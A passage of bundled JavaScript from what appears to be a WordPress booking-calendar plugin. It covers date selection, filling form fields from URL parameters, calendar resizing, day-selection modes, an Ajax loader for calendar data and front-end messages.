date1.getTime(); var date2_ms = date2.getTime(); // Calculate the difference in milliseconds var difference_ms = date1_ms - date2_ms; // Convert back to days and return return Math.round(difference_ms / ONE_DAY); } /** * Check if this array of dates is consecutive array of dates or not. * e.g. ['2024-05-09','2024-05-19','2024-05-30'] -> false * e.g. ['2024-05-09','2024-05-10','2024-05-11'] -> true * @param sql_dates_arr array e.g.: ['2024-05-09','2024-05-19','2024-05-30'] * @returns {boolean} */ function wpbc_dates__is_consecutive_dates_arr_range(sql_dates_arr) { //FixIn: 10.0.0.50 if (sql_dates_arr.length > 1) { var previos_date = wpbc__get__js_date(sql_dates_arr[0]); var current_date; for (var i = 1; i < sql_dates_arr.length; i++) { current_date = wpbc__get__js_date(sql_dates_arr[i]); if (wpbc_dates__days_between(current_date, previos_date) != 1) { return false; } previos_date = current_date; } } return true; } // --------------------------------------------------------------------------------------------------------------------- /* == Auto Dates Selection == // --------------------------------------------------------------------------------------------------------------------- */ /** * == How to use ? == * * For Dates selection, we need to use this logic! We need select the dates only after booking data loaded! * * Check example bellow. * * // Fire on all booking dates loaded * jQuery( 'body' ).on( 'wpbc_calendar_ajx__loaded_data', function ( event, loaded_resource_id ){ * * if ( loaded_resource_id == select_dates_in_calendar_id ){ * wpbc_auto_select_dates_in_calendar( select_dates_in_calendar_id, '2024-05-15', '2024-05-25' ); * } * } ); * */ /** * Try to Auto select dates in specific calendar by simulated clicks in datepicker * * @param resource_id 1 * @param check_in_ymd '2024-05-09' OR ['2024-05-09','2024-05-19','2024-05-20'] * @param check_out_ymd '2024-05-15' Optional * * @returns {number} number of selected dates * * Example 1: var num_selected_days = wpbc_auto_select_dates_in_calendar( 1, '2024-05-15', '2024-05-25' ); * Example 2: var num_selected_days = wpbc_auto_select_dates_in_calendar( 1, ['2024-05-09','2024-05-19','2024-05-20'] ); */ function wpbc_auto_select_dates_in_calendar(resource_id, check_in_ymd) { var check_out_ymd = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : ''; //FixIn: 10.0.0.47 console.log('WPBC_AUTO_SELECT_DATES_IN_CALENDAR( RESOURCE_ID, CHECK_IN_YMD, CHECK_OUT_YMD )', resource_id, check_in_ymd, check_out_ymd); if ('2100-01-01' == check_in_ymd || '2100-01-01' == check_out_ymd || '' == check_in_ymd && '' == check_out_ymd) { return 0; } // ----------------------------------------------------------------------------------------------------------------- // If check_in_ymd = [ '2024-05-09','2024-05-19','2024-05-30' ] ARRAY of DATES //FixIn: 10.0.0.50 // ----------------------------------------------------------------------------------------------------------------- var dates_to_select_arr = []; if (Array.isArray(check_in_ymd)) { dates_to_select_arr = wpbc_clone_obj(check_in_ymd); // ------------------------------------------------------------------------------------------------------------- // Exceptions to set MULTIPLE DAYS mode // ------------------------------------------------------------------------------------------------------------- // if dates as NOT CONSECUTIVE: ['2024-05-09','2024-05-19','2024-05-30'], -> set MULTIPLE DAYS mode if (dates_to_select_arr.length > 0 && '' == check_out_ymd && !wpbc_dates__is_consecutive_dates_arr_range(dates_to_select_arr)) { wpbc_cal_days_select__multiple(resource_id); } // if multiple days to select, but enabled SINGLE day mode, -> set MULTIPLE DAYS mode if (dates_to_select_arr.length > 1 && '' == check_out_ymd && 'single' === _wpbc.calendar__get_param_value(resource_id, 'days_select_mode')) { wpbc_cal_days_select__multiple(resource_id); } // ------------------------------------------------------------------------------------------------------------- check_in_ymd = dates_to_select_arr[0]; if ('' == check_out_ymd) { check_out_ymd = dates_to_select_arr[dates_to_select_arr.length - 1]; } } // ----------------------------------------------------------------------------------------------------------------- if ('' == check_in_ymd) { check_in_ymd = check_out_ymd; } if ('' == check_out_ymd) { check_out_ymd = check_in_ymd; } if ('undefined' === typeof resource_id) { resource_id = '1'; } var inst = wpbc_calendar__get_inst(resource_id); if (null !== inst) { // Unselect all dates and set properties of Datepick jQuery('#date_booking' + resource_id).val(''); //FixIn: 5.4.3 inst.stayOpen = false; inst.dates = []; var check_in_js = wpbc__get__js_date(check_in_ymd); var td_cell = wpbc_get_clicked_td(inst.id, check_in_js); // --------------------------------------------------------------------------------------------------------- // == DYNAMIC == if ('dynamic' === _wpbc.calendar__get_param_value(resource_id, 'days_select_mode')) { // 1-st click inst.stayOpen = false; jQuery.datepick._selectDay(td_cell, '#' + inst.id, check_in_js.getTime()); if (0 === inst.dates.length) { return 0; // First click was unsuccessful, so we must not make other click } // 2-nd click var check_out_js = wpbc__get__js_date(check_out_ymd); var td_cell_out = wpbc_get_clicked_td(inst.id, check_out_js); inst.stayOpen = true; jQuery.datepick._selectDay(td_cell_out, '#' + inst.id, check_out_js.getTime()); } // --------------------------------------------------------------------------------------------------------- // == FIXED == if ('fixed' === _wpbc.calendar__get_param_value(resource_id, 'days_select_mode')) { jQuery.datepick._selectDay(td_cell, '#' + inst.id, check_in_js.getTime()); } // --------------------------------------------------------------------------------------------------------- // == SINGLE == if ('single' === _wpbc.calendar__get_param_value(resource_id, 'days_select_mode')) { //jQuery.datepick._restrictMinMax( inst, jQuery.datepick._determineDate( inst, check_in_js, null ) ); // Do we need to run this ? Please note, check_in_js must have time, min, sec defined to 0! jQuery.datepick._selectDay(td_cell, '#' + inst.id, check_in_js.getTime()); } // --------------------------------------------------------------------------------------------------------- // == MULTIPLE == if ('multiple' === _wpbc.calendar__get_param_value(resource_id, 'days_select_mode')) { var dates_arr; if (dates_to_select_arr.length > 0) { // Situation, when we have dates array: ['2024-05-09','2024-05-19','2024-05-30']. and not the Check In / Check out dates as parameter in this function dates_arr = wpbc_get_selection_dates_js_str_arr__from_arr(dates_to_select_arr); } else { dates_arr = wpbc_get_selection_dates_js_str_arr__from_check_in_out(check_in_ymd, check_out_ymd, inst); } if (0 === dates_arr.dates_js.length) { return 0; } // For Calendar Days selection for (var j = 0; j < dates_arr.dates_js.length; j++) { // Loop array of dates var str_date = wpbc__get__sql_class_date(dates_arr.dates_js[j]); // Date unavailable ! if (0 == _wpbc.bookings_in_calendar__get_for_date(resource_id, str_date).day_availability) { return 0; } if (dates_arr.dates_js[j] != -1) { inst.dates.push(dates_arr.dates_js[j]); } } var check_out_date = dates_arr.dates_js[dates_arr.dates_js.length - 1]; inst.dates.push(check_out_date); // Need add one additional SAME date for correct works of dates selection !!!!! var checkout_timestamp = check_out_date.getTime(); var td_cell = wpbc_get_clicked_td(inst.id, check_out_date); jQuery.datepick._selectDay(td_cell, '#' + inst.id, checkout_timestamp); } if (0 !== inst.dates.length) { // Scroll to specific month, if we set dates in some future months wpbc_calendar__scroll_to(resource_id, inst.dates[0].getFullYear(), inst.dates[0].getMonth() + 1); } return inst.dates.length; } return 0; } /** * Get HTML td element (where was click in calendar day cell) * * @param calendar_html_id 'calendar_booking1' * @param date_js JS Date * @returns {*|jQuery} Dom HTML td element */ function wpbc_get_clicked_td(calendar_html_id, date_js) { var td_cell = jQuery('#' + calendar_html_id + ' .sql_date_' + wpbc__get__sql_class_date(date_js)).get(0); return td_cell; } /** * Get arrays of JS and SQL dates as dates array * * @param check_in_ymd '2024-05-15' * @param check_out_ymd '2024-05-25' * @param inst Datepick Inst. Use wpbc_calendar__get_inst( resource_id ); * @returns {{dates_js: *[], dates_str: *[]}} */ function wpbc_get_selection_dates_js_str_arr__from_check_in_out(check_in_ymd, check_out_ymd, inst) { var original_array = []; var date; var bk_distinct_dates = []; var check_in_date = check_in_ymd.split('-'); var check_out_date = check_out_ymd.split('-'); date = new Date(); date.setFullYear(check_in_date[0], check_in_date[1] - 1, check_in_date[2]); // year, month, date var original_check_in_date = date; original_array.push(jQuery.datepick._restrictMinMax(inst, jQuery.datepick._determineDate(inst, date, null))); //add date if (!wpbc_in_array(bk_distinct_dates, check_in_date[2] + '.' + check_in_date[1] + '.' + check_in_date[0])) { bk_distinct_dates.push(parseInt(check_in_date[2]) + '.' + parseInt(check_in_date[1]) + '.' + check_in_date[0]); } var date_out = new Date(); date_out.setFullYear(check_out_date[0], check_out_date[1] - 1, check_out_date[2]); // year, month, date var original_check_out_date = date_out; var mewDate = new Date(original_check_in_date.getFullYear(), original_check_in_date.getMonth(), original_check_in_date.getDate()); mewDate.setDate(original_check_in_date.getDate() + 1); while (original_check_out_date > date && original_check_in_date != original_check_out_date) { date = new Date(mewDate.getFullYear(), mewDate.getMonth(), mewDate.getDate()); original_array.push(jQuery.datepick._restrictMinMax(inst, jQuery.datepick._determineDate(inst, date, null))); //add date if (!wpbc_in_array(bk_distinct_dates, date.getDate() + '.' + parseInt(date.getMonth() + 1) + '.' + date.getFullYear())) { bk_distinct_dates.push(parseInt(date.getDate()) + '.' + parseInt(date.getMonth() + 1) + '.' + date.getFullYear()); } mewDate = new Date(date.getFullYear(), date.getMonth(), date.getDate()); mewDate.setDate(mewDate.getDate() + 1); } original_array.pop(); bk_distinct_dates.pop(); return { 'dates_js': original_array, 'dates_str': bk_distinct_dates }; } /** * Get arrays of JS and SQL dates as dates array * * @param dates_to_select_arr = ['2024-05-09','2024-05-19','2024-05-30'] * * @returns {{dates_js: *[], dates_str: *[]}} */ function wpbc_get_selection_dates_js_str_arr__from_arr(dates_to_select_arr) { //FixIn: 10.0.0.50 var original_array = []; var bk_distinct_dates = []; var one_date_str; for (var d = 0; d < dates_to_select_arr.length; d++) { original_array.push(wpbc__get__js_date(dates_to_select_arr[d])); one_date_str = dates_to_select_arr[d].split('-'); if (!wpbc_in_array(bk_distinct_dates, one_date_str[2] + '.' + one_date_str[1] + '.' + one_date_str[0])) { bk_distinct_dates.push(parseInt(one_date_str[2]) + '.' + parseInt(one_date_str[1]) + '.' + one_date_str[0]); } } return { 'dates_js': original_array, 'dates_str': original_array }; } // ===================================================================================================================== /* == Auto Fill Fields / Auto Select Dates == // ===================================================================================================================== */ jQuery(document).ready(function () { var url_params = new URLSearchParams(window.location.search); // Disable days selection in calendar, after redirection from the "Search results page, after search availability" //FixIn: 8.8.2.3 if ('On' != _wpbc.get_other_param('is_enabled_booking_search_results_days_select')) { if (url_params.has('wpbc_select_check_in') && url_params.has('wpbc_select_check_out') && url_params.has('wpbc_select_calendar_id')) { var select_dates_in_calendar_id = parseInt(url_params.get('wpbc_select_calendar_id')); // Fire on all booking dates loaded jQuery('body').on('wpbc_calendar_ajx__loaded_data', function (event, loaded_resource_id) { if (loaded_resource_id == select_dates_in_calendar_id) { wpbc_auto_select_dates_in_calendar(select_dates_in_calendar_id, url_params.get('wpbc_select_check_in'), url_params.get('wpbc_select_check_out')); } }); } } if (url_params.has('wpbc_auto_fill')) { var wpbc_auto_fill_value = url_params.get('wpbc_auto_fill'); // Convert back. Some systems do not like symbol '~' in URL, so we need to replace to some other symbols wpbc_auto_fill_value = wpbc_auto_fill_value.replaceAll('_^_', '~'); wpbc_auto_fill_booking_fields(wpbc_auto_fill_value); } }); /** * Autofill / select booking form fields by values from the GET request parameter: ?wpbc_auto_fill= * * @param auto_fill_str */ function wpbc_auto_fill_booking_fields(auto_fill_str) { //FixIn: 10.0.0.48 if ('' == auto_fill_str) { return; } // console.log( 'WPBC_AUTO_FILL_BOOKING_FIELDS( AUTO_FILL_STR )', auto_fill_str); var fields_arr = wpbc_auto_fill_booking_fields__parse(auto_fill_str); for (var i = 0; i < fields_arr.length; i++) { jQuery('[name="' + fields_arr[i]['name'] + '"]').val(fields_arr[i]['value']); } } /** * Parse data from get parameter: ?wpbc_auto_fill=visitors231^2~max_capacity231^2 * * @param data_str = 'visitors231^2~max_capacity231^2'; * @returns {*} */ function wpbc_auto_fill_booking_fields__parse(data_str) { var filter_options_arr = []; var data_arr = data_str.split('~'); for (var j = 0; j < data_arr.length; j++) { var my_form_field = data_arr[j].split('^'); var filter_name = 'undefined' !== typeof my_form_field[0] ? my_form_field[0] : ''; var filter_value = 'undefined' !== typeof my_form_field[1] ? my_form_field[1] : ''; filter_options_arr.push({ 'name': filter_name, 'value': filter_value }); } return filter_options_arr; } /** * Parse data from get parameter: ?search_get__custom_params=... * * @param data_str = 'text^search_field__display_check_in^23.05.2024~text^search_field__display_check_out^26.05.2024~selectbox-one^search_quantity^2~selectbox-one^location^Spain~selectbox-one^max_capacity^2~selectbox-one^amenity^parking~checkbox^search_field__extend_search_days^5~submit^^Search~hidden^search_get__check_in_ymd^2024-05-23~hidden^search_get__check_out_ymd^2024-05-26~hidden^search_get__time^~hidden^search_get__quantity^2~hidden^search_get__extend^5~hidden^search_get__users_id^~hidden^search_get__custom_params^~'; * @returns {*} */ function wpbc_auto_fill_search_fields__parse(data_str) { var filter_options_arr = []; var data_arr = data_str.split('~'); for (var j = 0; j < data_arr.length; j++) { var my_form_field = data_arr[j].split('^'); var filter_type = 'undefined' !== typeof my_form_field[0] ? my_form_field[0] : ''; var filter_name = 'undefined' !== typeof my_form_field[1] ? my_form_field[1] : ''; var filter_value = 'undefined' !== typeof my_form_field[2] ? my_form_field[2] : ''; filter_options_arr.push({ 'type': filter_type, 'name': filter_name, 'value': filter_value }); } return filter_options_arr; } // --------------------------------------------------------------------------------------------------------------------- /* == Auto Update number of months in calendars ON screen size changed == // --------------------------------------------------------------------------------------------------------------------- */ /** * Auto Update Number of Months in Calendar, e.g.: if ( WINDOW_WIDTH <= 782px ) >>> MONTHS_NUMBER = 1 * ELSE: number of months defined in shortcode. * @param resource_id int * */ function wpbc_calendar__auto_update_months_number__on_resize(resource_id) { var local__number_of_months = parseInt(_wpbc.calendar__get_param_value(resource_id, 'calendar_number_of_months')); if (local__number_of_months > 1) { if (jQuery(window).width() <= 782) { wpbc_calendar__update_months_number(resource_id, 1); } else { wpbc_calendar__update_months_number(resource_id, local__number_of_months); } } } /** * Auto Update Number of Months in ALL Calendars * */ function wpbc_calendars__auto_update_months_number() { var all_calendars_arr = _wpbc.calendars_all__get(); // This LOOP "for in" is GOOD, because we check here keys 'calendar_' === calendar_id.slice( 0, 9 ) for (var calendar_id in all_calendars_arr) { if ('calendar_' === calendar_id.slice(0, 9)) { var resource_id = parseInt(calendar_id.slice(9)); // 'calendar_3' -> 3 if (resource_id > 0) { wpbc_calendar__auto_update_months_number__on_resize(resource_id); } } } } /** * If browser window changed, then update number of months. */ jQuery(window).on('resize', function () { wpbc_calendars__auto_update_months_number(); }); /** * Auto update calendar number of months on initial page load */ jQuery(document).ready(function () { var closed_timer = setTimeout(function () { wpbc_calendars__auto_update_months_number(); }, 100); }); /** * ==================================================================================================================== * includes/__js/cal/days_select_custom.js * ==================================================================================================================== */ //FixIn: 9.8.9.2 /** * Re-Init Calendar and Re-Render it. * * @param resource_id */ function wpbc_cal__re_init(resource_id) { // Remove CLASS for ability to re-render and reinit calendar. jQuery('#calendar_booking' + resource_id).removeClass('hasDatepick'); wpbc_calendar_show(resource_id); } /** * Re-Init previously saved days selection variables. * * @param resource_id */ function wpbc_cal_days_select__re_init(resource_id) { _wpbc.calendar__set_param_value(resource_id, 'saved_variable___days_select_initial', { 'dynamic__days_min': _wpbc.calendar__get_param_value(resource_id, 'dynamic__days_min'), 'dynamic__days_max': _wpbc.calendar__get_param_value(resource_id, 'dynamic__days_max'), 'dynamic__days_specific': _wpbc.calendar__get_param_value(resource_id, 'dynamic__days_specific'), 'dynamic__week_days__start': _wpbc.calendar__get_param_value(resource_id, 'dynamic__week_days__start'), 'fixed__days_num': _wpbc.calendar__get_param_value(resource_id, 'fixed__days_num'), 'fixed__week_days__start': _wpbc.calendar__get_param_value(resource_id, 'fixed__week_days__start') }); } // --------------------------------------------------------------------------------------------------------------------- /** * Set Single Day selection - after page load * * @param resource_id ID of booking resource */ function wpbc_cal_ready_days_select__single(resource_id) { // Re-define selection, only after page loaded with all init vars jQuery(document).ready(function () { // Wait 1 second, just to be sure, that all init vars defined setTimeout(function () { wpbc_cal_days_select__single(resource_id); }, 1000); }); } /** * Set Single Day selection * Can be run at any time, when calendar defined - useful for console run. * * @param resource_id ID of booking resource */ function wpbc_cal_days_select__single(resource_id) { _wpbc.calendar__set_parameters(resource_id, { 'days_select_mode': 'single' }); wpbc_cal_days_select__re_init(resource_id); wpbc_cal__re_init(resource_id); } // --------------------------------------------------------------------------------------------------------------------- /** * Set Multiple Days selection - after page load * * @param resource_id ID of booking resource */ function wpbc_cal_ready_days_select__multiple(resource_id) { // Re-define selection, only after page loaded with all init vars jQuery(document).ready(function () { // Wait 1 second, just to be sure, that all init vars defined setTimeout(function () { wpbc_cal_days_select__multiple(resource_id); }, 1000); }); } /** * Set Multiple Days selection * Can be run at any time, when calendar defined - useful for console run. * * @param resource_id ID of booking resource */ function wpbc_cal_days_select__multiple(resource_id) { _wpbc.calendar__set_parameters(resource_id, { 'days_select_mode': 'multiple' }); wpbc_cal_days_select__re_init(resource_id); wpbc_cal__re_init(resource_id); } // --------------------------------------------------------------------------------------------------------------------- /** * Set Fixed Days selection with 1 mouse click - after page load * * @integer resource_id - 1 -- ID of booking resource (calendar) - * @integer days_number - 3 -- number of days to select - * @array week_days__start - [-1] | [ 1, 5] -- { -1 - Any | 0 - Su, 1 - Mo, 2 - Tu, 3 - We, 4 - Th, 5 - Fr, 6 - Sat } */ function wpbc_cal_ready_days_select__fixed(resource_id, days_number) { var week_days__start = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : [-1]; // Re-define selection, only after page loaded with all init vars jQuery(document).ready(function () { // Wait 1 second, just to be sure, that all init vars defined setTimeout(function () { wpbc_cal_days_select__fixed(resource_id, days_number, week_days__start); }, 1000); }); } /** * Set Fixed Days selection with 1 mouse click * Can be run at any time, when calendar defined - useful for console run. * * @integer resource_id - 1 -- ID of booking resource (calendar) - * @integer days_number - 3 -- number of days to select - * @array week_days__start - [-1] | [ 1, 5] -- { -1 - Any | 0 - Su, 1 - Mo, 2 - Tu, 3 - We, 4 - Th, 5 - Fr, 6 - Sat } */ function wpbc_cal_days_select__fixed(resource_id, days_number) { var week_days__start = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : [-1]; _wpbc.calendar__set_parameters(resource_id, { 'days_select_mode': 'fixed' }); _wpbc.calendar__set_parameters(resource_id, { 'fixed__days_num': parseInt(days_number) }); // Number of days selection with 1 mouse click _wpbc.calendar__set_parameters(resource_id, { 'fixed__week_days__start': week_days__start }); // { -1 - Any | 0 - Su, 1 - Mo, 2 - Tu, 3 - We, 4 - Th, 5 - Fr, 6 - Sat } wpbc_cal_days_select__re_init(resource_id); wpbc_cal__re_init(resource_id); } // --------------------------------------------------------------------------------------------------------------------- /** * Set Range Days selection with 2 mouse clicks - after page load * * @integer resource_id - 1 -- ID of booking resource (calendar) * @integer days_min - 7 -- Min number of days to select * @integer days_max - 30 -- Max number of days to select * @array days_specific - [] | [7,14,21,28] -- Restriction for Specific number of days selection * @array week_days__start - [-1] | [ 1, 5] -- { -1 - Any | 0 - Su, 1 - Mo, 2 - Tu, 3 - We, 4 - Th, 5 - Fr, 6 - Sat } */ function wpbc_cal_ready_days_select__range(resource_id, days_min, days_max) { var days_specific = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : []; var week_days__start = arguments.length > 4 && arguments[4] !== undefined ? arguments[4] : [-1]; // Re-define selection, only after page loaded with all init vars jQuery(document).ready(function () { // Wait 1 second, just to be sure, that all init vars defined setTimeout(function () { wpbc_cal_days_select__range(resource_id, days_min, days_max, days_specific, week_days__start); }, 1000); }); } /** * Set Range Days selection with 2 mouse clicks * Can be run at any time, when calendar defined - useful for console run. * * @integer resource_id - 1 -- ID of booking resource (calendar) * @integer days_min - 7 -- Min number of days to select * @integer days_max - 30 -- Max number of days to select * @array days_specific - [] | [7,14,21,28] -- Restriction for Specific number of days selection * @array week_days__start - [-1] | [ 1, 5] -- { -1 - Any | 0 - Su, 1 - Mo, 2 - Tu, 3 - We, 4 - Th, 5 - Fr, 6 - Sat } */ function wpbc_cal_days_select__range(resource_id, days_min, days_max) { var days_specific = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : []; var week_days__start = arguments.length > 4 && arguments[4] !== undefined ? arguments[4] : [-1]; _wpbc.calendar__set_parameters(resource_id, { 'days_select_mode': 'dynamic' }); _wpbc.calendar__set_param_value(resource_id, 'dynamic__days_min', parseInt(days_min)); // Min. Number of days selection with 2 mouse clicks _wpbc.calendar__set_param_value(resource_id, 'dynamic__days_max', parseInt(days_max)); // Max. Number of days selection with 2 mouse clicks _wpbc.calendar__set_param_value(resource_id, 'dynamic__days_specific', days_specific); // Example [5,7] _wpbc.calendar__set_param_value(resource_id, 'dynamic__week_days__start', week_days__start); // { -1 - Any | 0 - Su, 1 - Mo, 2 - Tu, 3 - We, 4 - Th, 5 - Fr, 6 - Sat } wpbc_cal_days_select__re_init(resource_id); wpbc_cal__re_init(resource_id); } /** * ==================================================================================================================== * includes/__js/cal_ajx_load/wpbc_cal_ajx.js * ==================================================================================================================== */ // --------------------------------------------------------------------------------------------------------------------- // A j a x L o a d C a l e n d a r D a t a // --------------------------------------------------------------------------------------------------------------------- function wpbc_calendar__load_data__ajx(params) { //FixIn: 9.8.6.2 wpbc_calendar__loading__start(params['resource_id']); if (wpbc_balancer__is_wait(params, 'wpbc_calendar__load_data__ajx')) { return false; } //FixIn: 9.8.6.2 wpbc_calendar__blur__stop(params['resource_id']); // console.groupEnd(); console.time('resource_id_' + params['resource_id']); console.groupCollapsed('WPBC_AJX_CALENDAR_LOAD'); console.log(' == Before Ajax Send - calendars_all__get() == ', _wpbc.calendars_all__get()); // Start Ajax jQuery.post(wpbc_url_ajax, { action: 'WPBC_AJX_CALENDAR_LOAD', wpbc_ajx_user_id: _wpbc.get_secure_param('user_id'), nonce: _wpbc.get_secure_param('nonce'), wpbc_ajx_locale: _wpbc.get_secure_param('locale'), calendar_request_params: params // Usually like: { 'resource_id': 1, 'max_days_count': 365 } }, /** * S u c c e s s * * @param response_data - its object returned from Ajax - class-live-search.php * @param textStatus - 'success' * @param jqXHR - Object */ function (response_data, textStatus, jqXHR) { // console.timeEnd('resource_id_' + response_data['resource_id']); console.log(' == Response WPBC_AJX_CALENDAR_LOAD == ', response_data); console.groupEnd(); //FixIn: 9.8.6.2 var ajx_post_data__resource_id = wpbc_get_resource_id__from_ajx_post_data_url(this.data); wpbc_balancer__completed(ajx_post_data__resource_id, 'wpbc_calendar__load_data__ajx'); // Probably Error if (_typeof(response_data) !== 'object' || response_data === null) { var jq_node = wpbc_get_calendar__jq_node__for_messages(this.data); var message_type = 'info'; if ('' === response_data) { response_data = 'The server responds with an empty string. The server probably stopped working unexpectedly. <br>Please check your <strong>error.log</strong> in your server configuration for relative errors.'; message_type = 'warning'; } // Show Message wpbc_front_end__show_message(response_data, { 'type': message_type, 'show_here': { 'jq_node': jq_node, 'where': 'after' }, 'is_append': true, 'style': 'text-align:left;', 'delay': 0 }); return; } // Show Calendar wpbc_calendar__loading__stop(response_data['resource_id']); // ------------------------------------------------------------------------------------------------- // Bookings - Dates _wpbc.bookings_in_calendar__set_dates(response_data['resource_id'], response_data['ajx_data']['dates']); // Bookings - Child or only single booking resource in dates _wpbc.booking__set_param_value(response_data['resource_id'], 'resources_id_arr__in_dates', response_data['ajx_data']['resources_id_arr__in_dates']); // Aggregate booking resources, if any ? _wpbc.booking__set_param_value(response_data['resource_id'], 'aggregate_resource_id_arr', response_data['ajx_data']['aggregate_resource_id_arr']); // ------------------------------------------------------------------------------------------------- // Update calendar wpbc_calendar__update_look(response_data['resource_id']); if ('undefined' !== typeof response_data['ajx_data']['ajx_after_action_message'] && '' != response_data['ajx_data']['ajx_after_action_message'].replace(/\n/g, "<br />")) { var jq_node = wpbc_get_calendar__jq_node__for_messages(this.data); // Show Message wpbc_front_end__show_message(response_data['ajx_data']['ajx_after_action_message'].replace(/\n/g, "<br />"), { 'type': 'undefined' !== typeof response_data['ajx_data']['ajx_after_action_message_status'] ? response_data['ajx_data']['ajx_after_action_message_status'] : 'info', 'show_here': { 'jq_node': jq_node, 'where': 'after' }, 'is_append': true, 'style': 'text-align:left;', 'delay': 10000 }); } // Trigger event that calendar has been //FixIn: 10.0.0.44 if (jQuery('#calendar_booking' + response_data['resource_id']).length > 0) { var target_elm = jQuery('body').trigger("wpbc_calendar_ajx__loaded_data", [response_data['resource_id']]); //jQuery( 'body' ).on( 'wpbc_calendar_ajx__loaded_data', function( event, resource_id ) { ... } ); } //jQuery( '#ajax_respond' ).html( response_data ); // For ability to show response, add such DIV element to page }).fail(function (jqXHR, textStatus, errorThrown) { if (window.console && window.console.log) { console.log('Ajax_Error', jqXHR, textStatus, errorThrown); } var ajx_post_data__resource_id = wpbc_get_resource_id__from_ajx_post_data_url(this.data); wpbc_balancer__completed(ajx_post_data__resource_id, 'wpbc_calendar__load_data__ajx'); // Get Content of Error Message var error_message = '<strong>' + 'Error!' + '</strong> ' + errorThrown; if (jqXHR.status) { error_message += ' (<b>' + jqXHR.status + '</b>)'; if (403 == jqXHR.status) { error_message += '<br> Probably nonce for this page has been expired. Please <a href="javascript:void(0)" onclick="javascript:location.reload();">reload the page</a>.'; error_message += '<br> Otherwise, please check this <a style="font-weight: 600;" href="https://wpbookingcalendar.com/faq/request-do-not-pass-security-check/?after_update=10.1.1">troubleshooting instruction</a>.<br>'; } } var message_show_delay = 3000; if (jqXHR.responseText) { error_message += ' ' + jqXHR.responseText; message_show_delay = 10; } error_message = error_message.replace(/\n/g, "<br />"); var jq_node = wpbc_get_calendar__jq_node__for_messages(this.data); /** * If we make fast clicking on different pages, * then under calendar will show error message with empty text, because ajax was not received. * To not show such warnings we are set delay in 3 seconds. var message_show_delay = 3000; */ var closed_timer = setTimeout(function () { // Show Message wpbc_front_end__show_message(error_message, { 'type': 'error', 'show_here': { 'jq_node': jq_node, 'where': 'after' }, 'is_append': true, 'style': 'text-align:left;', 'css_class': 'wpbc_fe_message_alt', 'delay': 0 }); }, parseInt(message_show_delay)); }) // .done( function ( data, textStatus, jqXHR ) { if ( window.console && window.console.log ){ console.log( 'second success', data, textStatus, jqXHR ); } }) // .always( function ( data_jqXHR, textStatus, jqXHR_errorThrown ) { if ( window.console && window.console.log ){ console.log( 'always finished', data_jqXHR, textStatus, jqXHR_errorThrown ); } }) ; // End Ajax } // --------------------------------------------------------------------------------------------------------------------- // Support // --------------------------------------------------------------------------------------------------------------------- /** * Get Calendar jQuery node for showing messages during Ajax * This parameter: calendar_request_params[resource_id] parsed from this.data Ajax post data * * @param ajx_post_data_url_params 'action=WPBC_AJX_CALENDAR_LOAD...&calendar_request_params%5Bresource_id%5D=2&calendar_request_params%5Bbooking_hash%5D=&calendar_request_params' * @returns {string} ''#calendar_booking1' | '.booking_form_div' ... * * Example var jq_node = wpbc_get_calendar__jq_node__for_messages( this.data ); */ function wpbc_get_calendar__jq_node__for_messages(ajx_post_data_url_params) { var jq_node = '.booking_form_div'; var calendar_resource_id = wpbc_get_resource_id__from_ajx_post_data_url(ajx_post_data_url_params); if (calendar_resource_id > 0) { jq_node = '#calendar_booking' + calendar_resource_id; } return jq_node; } /** * Get resource ID from ajx post data url usually from this.data = 'action=WPBC_AJX_CALENDAR_LOAD...&calendar_request_params%5Bresource_id%5D=2&calendar_request_params%5Bbooking_hash%5D=&calendar_request_params' * * @param ajx_post_data_url_params 'action=WPBC_AJX_CALENDAR_LOAD...&calendar_request_params%5Bresource_id%5D=2&calendar_request_params%5Bbooking_hash%5D=&calendar_request_params' * @returns {int} 1 | 0 (if errror then 0) * * Example var jq_node = wpbc_get_calendar__jq_node__for_messages( this.data ); */ function wpbc_get_resource_id__from_ajx_post_data_url(ajx_post_data_url_params) { // Get booking resource ID from Ajax Post Request -> this.data = 'action=WPBC_AJX_CALENDAR_LOAD...&calendar_request_params%5Bresource_id%5D=2&calendar_request_params%5Bbooking_hash%5D=&calendar_request_params' var calendar_resource_id = wpbc_get_uri_param_by_name('calendar_request_params[resource_id]', ajx_post_data_url_params); if (null !== calendar_resource_id && '' !== calendar_resource_id) { calendar_resource_id = parseInt(calendar_resource_id); if (calendar_resource_id > 0) { return calendar_resource_id; } } return 0; } /** * Get parameter from URL - parse URL parameters, like this: action=WPBC_AJX_CALENDAR_LOAD...&calendar_request_params%5Bresource_id%5D=2&calendar_request_params%5Bbooking_hash%5D=&calendar_request_params * @param name parameter name, like 'calendar_request_params[resource_id]' * @param url 'parameter string URL' * @returns {string|null} parameter value * * Example: wpbc_get_uri_param_by_name( 'calendar_request_params[resource_id]', this.data ); -> '2' */ function wpbc_get_uri_param_by_name(name, url) { url = decodeURIComponent(url); name = name.replace(/[\[\]]/g, '\\$&'); var regex = new RegExp('[?&]' + name + '(=([^&#]*)|&|#|$)'), results = regex.exec(url); if (!results) return null; if (!results[2]) return ''; return decodeURIComponent(results[2].replace(/\+/g, ' ')); } /** * ===================================================================================================================== * includes/__js/front_end_messages/wpbc_fe_messages.js * ===================================================================================================================== */ // --------------------------------------------------------------------------------------------------------------------- // Show Messages at Front-Edn side // --------------------------------------------------------------------------------------------------------------------- /** * Show message in content * * @param message Message HTML * @param params = { * 'type' : 'warning', // 'error' | 'warning' | 'info' | 'success' * 'show_here' : { * 'jq_node' : '', // any jQuery node definition * 'where' : 'inside' // 'inside' | 'before' | 'after' | 'right' | 'left' * }, * 'is_append': true, // Apply only if 'where' : 'inside' * 'style' : 'text-align:left;', // styles, if needed * 'css_class': '', // For example can be: 'wpbc_fe_message_alt' * 'delay' : 0, // how many microsecond to show, if 0 then show forever * 'if_visible_not_show': false // if true, then do not show message, if previos message was not hided (not apply if 'where' : 'inside' ) * }; * Examples: * var html_id = wpbc_front_end__show_message( 'You can test days selection in calendar', {} ); * * var notice_message_id = wpbc_front_end__show_message( _wpbc.get_message( 'message_check_required' ), { 'type': 'warning', 'delay': 10000, 'if_visible_not_show': true, * 'show_here': {'where': 'right', 'jq_node': el,} } ); * * wpbc_front_end__show_message( response_data[ 'ajx_data' ][ 'ajx_after_action_message' ].replace( /\n/g, "<br />" ), * { 'type' : ( 'undefined' !== 